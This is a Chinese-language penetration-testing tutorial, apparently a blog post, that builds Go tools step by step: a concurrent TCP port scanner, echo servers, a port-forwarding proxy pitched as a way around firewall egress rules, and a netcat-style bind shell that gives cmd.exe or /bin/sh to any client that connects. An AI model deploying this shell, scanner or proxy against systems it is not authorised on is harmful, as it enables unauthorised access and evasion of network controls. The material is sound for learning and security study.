Go渗透测试笔记(二)—TCP,扫描器和代理

0x00 前言

TCP是面向连接协议的主要标准,也是现代网络的基础。

作为攻击者,我们应当了解TCP的工作原理,并且能够开发可用的TCP结构体,以便可以识别 打开/关闭 的端口,找出错误的结果。

如误判(syn-flood防护)以及通过端口转发绕过出口限制等等。

0x01 理解TCP的握手机制

0x02 通过端口转发绕过防火墙

企业组织可以配置防火墙,以防止客户端连接到某些服务器和端口,同时允许访问其他服务器和端口。我们可以使用中间系统代理连接绕过或者穿透防火墙,从而绕过这些限制。

许多企业网络会限制内部资产建立与恶意站点的HTTP连接。假设有一个名为evil.com的恶意网站。如果有员工直接浏览evil.com,则浏览器会阻止,但是,如果员工拥有允许通过防火墙的外部系统,(如 stacktian.com),则员工可以利用允许的域来反弹与evil.com的连接

可以使用端口转发绕过多种限制性网络配置,例如,可以通过跳箱转发流量,以访问网络或者访问绑定到限制性接口的端口

0x03 编写一个TCP扫描器

1. 测试端口的可用性

创建端口扫描器的第一步是了解如何启动从客户端到服务器组件的相连,在整个示例中,我们需要连接并扫描scanme.nmap.org,为此我们需要使用nmap的包:net.Dial(network,address string)

第一个参数是一个字符串,用于识别标识要启动的连接类型,这是因为Dial不仅适用于TCP,还可以用于创建使用Unix套接字,UDP和第四层协议连接。

第二个参数需要连接的主机,对于IPV4/TCP连接,字符串使用host:port的形式进行连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"net"
)

func main() {
_,err := net.Dial("tcp","scanme.nmap.org:80")
if err == nil {
fmt.Println("连接成功")
}
}

2. 执行非并发扫描

一次扫描一个端口没有什么用,TCP的端口为”1–65535”,作为测试,我们这里选择 1024,使用 for循环

1
2
3
4
5
6
7
8
9
10
11
package main

import "fmt"

func main() {
for i:=1; i<=1024; i++{
address := fmt.Sprintf("scanme.nmap.org:%d",i)
fmt.Println(address)
}
}

剩下的就是进行连接,我们还应该加入一些逻辑来关闭连接,这样就不会一直处于一个打开的状态,需要在Conn上调用Close()

Sprintf:用传入的格式化规则符将传入的变量格式化,(终端中不会有显示)

Printf:用传入的格式化规则符将传入的变量写入到标准输出里面(即在终端中有显示),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
"fmt"
"net"
)

func main() {
for i:=79; i<=100; i++{
address := fmt.Sprintf("scanme.nmap.org:%d",i)
conn,err := net.Dial("tcp",address)
if err != nil {
//端口已关闭或者过滤
continue
}
conn.Close()
fmt.Printf("%d open\n",i)
}
}

3. 执行非并发扫描

上面的例子中我们是进行单个扫描,没有同时扫描,这将浪费很多的时间,于是我们需要使用gorountine提高扫描器的速度,其数量受到系统处理能力和可用内存的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import (
"fmt"
"net"
)

func main() {
for i := 1; i < 1024; i++ {
go func(j int) {
address := fmt.Sprintf("scanme.nmap.org:%d",j)
conn,err := net.Dial("tcp",address)
if err != nil {
//端口已关闭或者过滤
return
}
conn.Close()
fmt.Printf("%d open\n",j)
}(i)
}
}

当我们写出这样的代码的时候,程序几乎是立马就退出了,因为运行的代码会为每一个连接启动一个gorountine,而主gorountine不知道要等待连接发生,代码会在for循环完成之后立刻退出,这可能比端口之间的网络包交换还要快,无法直接获得准确结果。所以我们需要使用sync包中的WaitGroup方法

1
var wg sync.WaitGroup

创建WaitGroup以后,可以调用一些方法

  1. Add(int),他将按所提供的数字递增内部的计算器
  2. Done() 将计算器减一
  3. Wait() 会阻止其中调用它的gorountine的执行,并且在内部计算器到达0之前不允许进一步执行。

4. 1 使用WaitGroup进行同步扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package main

import (
"fmt"
"net"
"sync"
)

func main() {
var wg sync.WaitGroup
for i := 1; i < 1024; i++ {
wg.Add(1)
go func(j int) {
defer wg.Done()
address := fmt.Sprintf("scanme.nmap.org:%d",j)
conn,err := net.Dial("tcp",address)
if err != nil {
//端口已关闭或者过滤
return
}
conn.Close()
fmt.Printf("%d open\n",j)
}(i)
}
wg.Wait()
}

在此版本中,创建了WaitGroup()用作同步计算器,每次创建gorounine扫描端口的时候,都可以通过wg.Add(1)递增计数器,然后使用Done()递减,在main中调用wg.Wait()将阻塞所有进程直到计数器为0为止

4.2 工人池–>多通道通信

为了避免结果不一致,我们需要使用gorountine池管理正在进行的并发工作,使用for循环创建一定数量的工人gorountine作为资源池,然后再main线程中使用通道提供工作

首先,我们创建一个新程序,程序有100个worker,使用一个int通道将他们打印到屏幕上,继续使用WaitGroup阻塞执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"fmt"
"sync"
)

func worker(ports chan int,wg *sync.WaitGroup) {
for p := range ports{
fmt.Println(p)
wg.Done()
}
}

func main() {
ports := make(chan int ,100)
var wg sync.WaitGroup
for i := 0; i <=cap(ports); i++ {
go worker(ports,&wg)
}
for i := 1; i <= 1024; i++ {
wg.Add(1)
ports <- i
}
wg.Wait()
close(ports)
}

我们再使用了make去创建了一个通道,在此处int 值等于 100,这样就可以对该通道进行缓冲,这也意味着 可以在不等待接收器读取数据的情况下,向其发送数据。缓冲通道可以维护多个生产者和消费者的问题,将通道容量设为100意味着发送被阻止之前,可以容纳100个数据项,这样做可以提升性能,因为允许所有的工人立即启动

在上面的例子中,我们可以很清楚的看见,数字并不是按照顺序打印的,因为端口扫描器不回去检查他们的顺序,我们可以使用单独的线程扫描器将扫描结果传回主线程,以便在打印之前对端口进行一个排序,这样做的好处是,可以消除对WaitGroup的依赖

接下来进行修改,使用多通道进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package main

import (
"fmt"
"net"
"sort"
)

func worker(ports,results chan int) {
for p := range ports{
address := fmt.Sprintf("scanme.nmap.org:%d",p)
conn,err := net.Dial("tcp",address)
if err != nil {
results <- 0
continue
}
conn.Close()
results <- p
}
}

func main() {
ports := make(chan int ,100)
results := make(chan int)
var openports [] int
for i := 0; i <=cap(ports); i++ {
go worker(ports,results)
}
go func() {
for i := 1; i <= 1024; i++ {
ports <- i
}
}()
for i := 1; i <= 1024; i++ {
port := <-results
if port != 0 {
openports = append(openports,port)
}
}
close(ports)
close(results)
sort.Ints(openports)
for _,port := range openports{
fmt.Printf("%d opend\n",port)
}
}

一个高效的扫描器需要花时间去处理工人的数量,数量越多,程序执行的越快,但是当工人数量过多的时候,结果就会变得不可靠

0x04 构造TCP代理

1. 使用io.Reader和io.writer

1
2
3
4
5
6
type Reader interface {
Read(p []byte) (n int, err error)
}
type Writerer interface {
Writer(p []byte) (n int, err error)
}

在GO语言中,以上两种数据类型被定义为接口,这意味着他们不能直接被实例化,该抽象方法必须在某种数据类型上得到实现才能运用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

type FooReader struct{}
type FooWriter struct{}
func (foolreader * FooReader) Read(p [] byte)(int,error) {
//从某处读取一些数据
var s = "ssssss"
return len(s),nil
}
func (foolWriter * FooWriter) Write(p [] byte)(int,error) {
//从某处写入一些数据
var s = "ssssss"
return len(s),nil
}

下面看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package main

import (
"fmt"
"log"
"os"
)

//从标准输入 stdin 读取数据 io.Reader
type FooReader struct{}
//定义一个 写入标准输出 stdout的 io.Writer
type FooWriter struct{}
func (foolReader * FooReader) Read(b [] byte)(int,error) {
fmt.Println("in >")
return os.Stdin.Read(b)
}
func (foolWriter * FooWriter) Write(b [] byte)(int,error) {
fmt.Println("out >")
return os.Stdout.Write(b)
}
func main() {
//实例化 Reader和writer
var (
reader FooReader
writer FooWriter
)
//创建缓冲区已保存输入/输出
input := make([] byte,4096)
//使用 reader读取
s,err := reader.Read(input)
if err != nil{
log.Fatalf("unable to read data")
}
fmt.Printf("Read %d bytes from stdin\n",s)
//使用writer写出
s,err = writer.Write(input)
if err != nil{
log.Fatalf("unable to write data")
}
fmt.Printf("wrote %d bytes to stdout\n",s)
}

将Reader 复制到Writer是一种非常常见的模式,于是官方提供了一个io.Copy()用于简化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main

import (
"fmt"
"io"
"log"
"os"
)

//从标准输入 stdin 读取数据 io.Reader
type FooReader struct{}
//定义一个 写入标准输出 stdout的 io.Writer
type FooWriter struct{}
func (foolReader * FooReader) Read(b [] byte)(int,error) {
fmt.Println("in >")
return os.Stdin.Read(b)
}
func (foolWriter * FooWriter) Write(b [] byte)(int,error) {
fmt.Println("out >")
return os.Stdout.Write(b)
}
func main() {
//实例化 Reader和writer
var (
reader FooReader
writer FooWriter
)
if _, err := io.Copy(&writer, &reader); err != nil {
log.Fatalln("发生了错误" )
}
}

使用了io.Copy 只需要 处理先读后写的过程,而无需关注其他细节。

2. 创建回显服务器

按照大多数语言的习惯,首先需要一个回显服务器,以学习如何再套接字中读写数据,为此,需要用到net.Conn

创建Conn实例以后,可以通过TCP套接字接受和发送数据,不过TCP服务器不能简单的创造一个连接,连接必须由客户端发起建立。

在Go中可以使用net.Listen(network,address string)在特定端口打开TCP监听器,客户端连接后,可以使用Accept()创建一个Conn对象,可以用于接受和发送数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main

import (
"io"
"log"
"net"
)

func echo(conn net.Conn) {
defer conn.Close()
//创建一个缓冲区来接受储存的数据
b := make([]byte,512)
for {//进行无线循环
//通过conn.Read接受数据到缓冲区
size,err := conn.Read(b[0:])
if err == io.EOF {
log.Println("Client disconnected")
break
}
if err != nil {
log.Println("Unexpected error")
break
}
log.Println("Received %d bytes : %s\n",size,string(b))
//通过write 发送数据
log.Println("Writing Data")
if _,err :=conn.Write(b[0:size]);err !=nil {
log.Fatalf("unable to write data")
}
}
}

func main() {
//在所有接口上绑定 TCP端口 20080
listener,err := net.Listen("tcp",":20080")
if err != nil {
log.Fatalln("unable to bind to tcp")
}
log.Println("Listening on 0.0.0.0:20080")
for{
//等待连接,在已经建立连接上创捷 net.Conn
conn,err := listener.Accept()
if err != nil{
log.Fatalln("unable to accept connection")
}
//处理连接,使用gorountine并发
go echo(conn)
}
}


其中Conn既是Reader也是Writer,实现了Read[]byte,和Write([] byte)方法

之后,使用gorountine使其成为并发调用,以便在等待处理函数完成时,其他连接不会被阻塞

当我们使用telnet进行一个连接的时候

可以看见回显服务器将客户端发送给它的内容完全重复的发送给客户端

3. 创建缓冲带的监听器来改进代码

上面的例子依赖相当低级的函数调用,且缓冲区跟踪重复读写,其运行过程容易出错。可以使用bufio包,其中也包含了ReaderWriter,我们稍微改进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main

import (
"bufio"
"log"
"net"
)

func echo2(conn net.Conn) {
defer conn.Close()
//创建一个缓冲区来接受储存的数据
reader :=bufio.NewReader(conn)
s,err := reader.ReadString('\n')
if err != nil {
log.Fatalln("unable to read data")
}
log.Printf("Read %d bytes :%s",len(s),s)
log.Println("Writing data")
writer := bufio.NewWriter(conn)
if _, err := writer.WriteString(s); err != nil {
log.Fatalln("unable to write data")
}
writer.Flush()
}

func main() {
//在所有接口上绑定 TCP端口 20080
listener,err := net.Listen("tcp",":20080")
if err != nil {
log.Fatalln("unable to bind to tcp")
}
log.Println("Listening on 0.0.0.0:20080")
for{
//等待连接,在已经建立连接上创捷 net.Conn
conn,err := listener.Accept()
if err != nil{
log.Fatalln("unable to accept connection")
}
//处理连接,使用gorountine并发
go echo2(conn)
}
}

我们不在Conn上调用函数Read([]byte)Write([]byte),而是通过NewReader(io.Reader)和 NewWriter(io.Writer)初始化新的缓冲带。这些调用都以现有的ReaderWriter为基础

两个缓冲实例都具有用于读取和写入的字符串数据的功能。ReadString(byte)带有一个分隔符,表示数据读取长度。而WritrString(byte)则将字符串写入套接字,写入数据时,需要显示调用writer.Flush(),以便将所有的数据写入底层的Writer

在此示例中,变量conn作为源和目标传递,因为将在建立的连接上回显内容

1
2
3
4
5
6
7
func echo3(conn net.Conn)  {
defer conn.Close()
//使用io.Copy进行复制
if _,err := io.Copy(conn,conn); err != nil {
log.Fatalln("unable to read/write data")
}
}

4. 创建一个TCP客户端

在很多情况下,我们需要把一个网站上收到的流量全部转发到另一台服务器,我们可以编写如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package main

import (
"io"
"log"
"net"
)

func handle(src net.Conn){
dst,err := net.Dial("tcp","某A网站")
if err != nil{
log.Fatalln("unable to connect to our unreachable host")
}
defer dst.Close()
//在gorountine 中运行防止 io.Copy被阻塞
go func() {
//将资源的输出复制到目标
if _,err := io.Copy(dst,src);err != nil {
log.Fatalln(err)
}
}()
//将目标的输出复制回源
if _,err := io.Copy(src,dst); err != nil{
log.Fatalln(err)
}
}

func main() {
//在本地的80端口上监听
listener,err := net.Listen("tcp",":80")
if err != nil {
log.Fatalln("unable to bind to port")
}
for {
conn ,err := listener.Accept()
if err != nil{
log.Fatalln("unable to accept connection")
}
go handle(conn)
}
}

现在我们把需要转发的网站标记为A,执行脚本的网站标记为B,以便理解下面的思路

其中,我们调用了两次Copy函数,第一次是确保A网站能和B服务器进行连接,第二次是确保回显的数据被写回到连接客户端的连接中。

这样,在代理的端口,就能持续接收到他发送的数据

5. 复现Netcat命令

这里用到了Go的包os/exec

1
cmd := exec.Command("/bin/sh","-i")

这将创建Cmd的实例,但尚未执行该命令,可以使用stdinstdout,或者Copy将Reader或者Writer赋值给Cmd

1
2
cmd.Stdin= conn
cmd.stdout = conn

处理完数据流以后,就可以使用cmd.Run()运行命令

1
2
3
if err := cmd.Run();err != nil{
//处理错误
}

以上操作很适合在linux下运行,但是在Windows系统上运行程序时,使用cmd.exe而不适用/bin/bash,你就会发现,由于某些Windows特定的匿名管道处理,连接的客户端永远收不到命令输出。

要解决上面的问题,有两种方案

首先,可以通过代码显示强制刷新标准输出以事应此席位的差别,不再直接将Conn赋给 cmd.Stdout,而是实现一个包装bufio.Writer(缓冲区写入器)的自定义Writer,并且显示调用Flush方法以强制刷新缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main

import (
"bufio"
"io"
"log"
"net"
"os/exec"
)

//Flusher包装 bufio.Writer,显示刷新所有写入
type Flusher struct {
w * bufio.Writer
}
//NewFlusher 从 io.Writer 创建一个新的 Flusher
func NewFlusher(w io.Writer) * Flusher{
return &Flusher{
w : bufio.NewWriter(w),
}
}
//写入数据并且显示刷新缓冲区
func (foo *Flusher) Write(b []byte)(int,error) {
count,err := foo.w.Write(b)
if err != nil{
return -1, err
}
if err := foo.w.Flush();err != nil{
return -1,err
}
return count,err
}

func handle1(conn net.Conn) {
//显示调用 /bin/sh 并且使用 -i进入交互模式
//这样我们就可以用它作为标准输入和输出
//对于Linux 使用 exec.Command("/bin/sh","-i")
cmd := exec.Command("cmd.exe")
//将标准输入设置为我们的连接
cmd.Stdin = conn
//从连接创建一个Flusher用于标准输出
//这样可以确保标准输出被充分刷新并且通过 net.Conn进行发送
cmd.Stdout = NewFlusher(conn)
//运行命令
if err := cmd.Run(); err != nil {
log.Fatalln(err)
}
}

func main() {
//在本地的80端口上监听
listener,err := net.Listen("tcp",":80")
if err != nil {
log.Fatalln("unable to bind to port")
}
for {
conn ,err := listener.Accept()
if err != nil{
log.Fatalln("unable to accept connection")
}
go handle1(conn)
}
}

我这里踩了一个坑 cmd /c,在写脚本的时候,不可以加入 ‘/c’参数,否则回一直无法建立连接

当然,使用telnet也可以,效果是一样的

另一种方式是使用 io.Pipe(),该函数是go的同步内存管道,可用于连接ReaderWriter

1
2
3
4
5
6
7
8
func Pipe() (*PipeReader, *PipeWriter) {
p := &pipe{
wrCh: make(chan []byte),
rdCh: make(chan int),
done: make(chan struct{}),
}
return &PipeReader{p}, &PipeWriter{p}
}

根据其定义,我们可以对上面的代码进行一个优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main

import (
"io"
"log"
"net"
"os/exec"
)

func handle2(conn net.Conn) {

// cmd := exec.Command("/bin/sh","-i")
cmd := exec.Command("cmd.exe")
rp, wp := io.Pipe()
//将标准输入设为我们的连接
cmd.Stdin = conn
cmd.Stdout = wp
go io.Copy(conn, rp)
cmd.Run()
conn.Close()
}

func main() {
listener, err := net.Listen("tcp", ":20080")
if err != nil {
log.Fatalln(err)
}

for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln(err)
}
go handle2(conn)
}
}

调用io.Pipe的时候,对创建一个同步连接的一个reader和一个writer,任何被写入writer的数据(wp),都会被reader(rp)读取,因此,我们需要将writer分配给cmd.Stdout,然后使用io.Copy(conn,rp)PipeReader链接到TCP连接。之后使用gprountine防止阻塞。命令的标准输入发送到writer,然后通过管道传送到reader,并通过TCP连接输出。